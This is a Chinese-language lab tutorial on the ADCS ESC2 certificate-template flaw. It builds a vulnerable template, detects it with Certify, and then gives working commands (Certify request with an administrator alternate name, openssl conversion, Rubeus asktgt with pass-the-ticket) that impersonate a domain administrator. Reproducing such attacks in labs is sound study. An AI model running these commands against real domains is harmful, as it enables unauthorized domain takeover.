原理 ESC2 漏洞主要源于 ADCS 中证书模板配置的不合理。
当证书模板允许用户指定 Subject Alternative Name(SAN),并且没有对其进行严格的验证和限制时,攻击者就可以利用这一漏洞,通过构造特殊的 SAN 字段来获取具有高权限的证书,进而实现权限提升和其他恶意操作。
漏洞利用条件 证书注册权限 :Authenticated Users具备获取证书的权限。
应用程序策略 :证书应用程序策略无验证。
关键标志开启 :开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,此标志允许通过_CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_声明自身身份,从而实现伪装成域管理员的目的。
漏洞环境构造 配置证书模板 在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证
常规 模板名称设置为ESC2
安全 将Authenticated Users加入注册权限
使用者名称 选择在请求中提供,开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
扩展 选择应用程序策略,将策略设置为无
发布证书模板 打开certsrv.msc 在证书颁发机构中的证书模板右键点击新建要颁发的证书模板,选择新复制的模板ESC2确定添加
漏洞环境检测 使用Certify检测有没有证书配置错误
Certify.exe find /vulnerable
当出现以下情况时,满足 ESC2 漏洞条件,即存在 ESC2 漏洞: msPKI-Certificate-Name-Flag :ENROLLEE_SUPPLIES_SUBJECT pkiextendedkeyusage :无验证 Enrollment Rights :Authenticated Users可获取证书 满足上述条件,可利用证书漏洞伪装成域管理员获取更高权限。
漏洞利用 在普通域用户下,使用Certify.exe以administrator身份申请ESC2证书
Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC2 /altname:administrator
将申请的证书复制保存为cert.pem,使用openssl转为cert.pfx,密码为空即可
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
使用Rubeus请求域管administrator的TGT
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.110.127 /ptt
将域控制器身份验证注册后再次执行,成功导入票据
导入票据后,已经有权限访问域控目录
